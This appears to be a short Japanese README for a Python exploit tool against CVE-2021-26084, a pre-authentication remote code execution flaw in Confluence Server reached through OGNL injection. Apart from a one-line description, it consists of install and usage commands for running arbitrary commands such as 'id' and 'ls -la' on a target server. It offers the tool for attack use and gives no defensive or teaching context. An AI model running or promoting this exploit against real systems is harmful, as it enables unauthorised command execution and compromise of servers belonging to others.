
Pythonエクスプロイト for CVE-2021-26084。Confluence Serverの事前認証リモートコード実行をOGNLインジェクション経由で標的とします。脆弱なインスタンス上で任意のコマンドを実行します。
CVE-2021-26084 - Confluence 事前認証RCE | OGNLインジェクション
pip3 install -r requirements.txt
USE: python3 exploit.py https://target.com CMD
Ex: python3 exploit.py https://target.com id
Ex: python3 exploit.py https://target.com 'ls -la'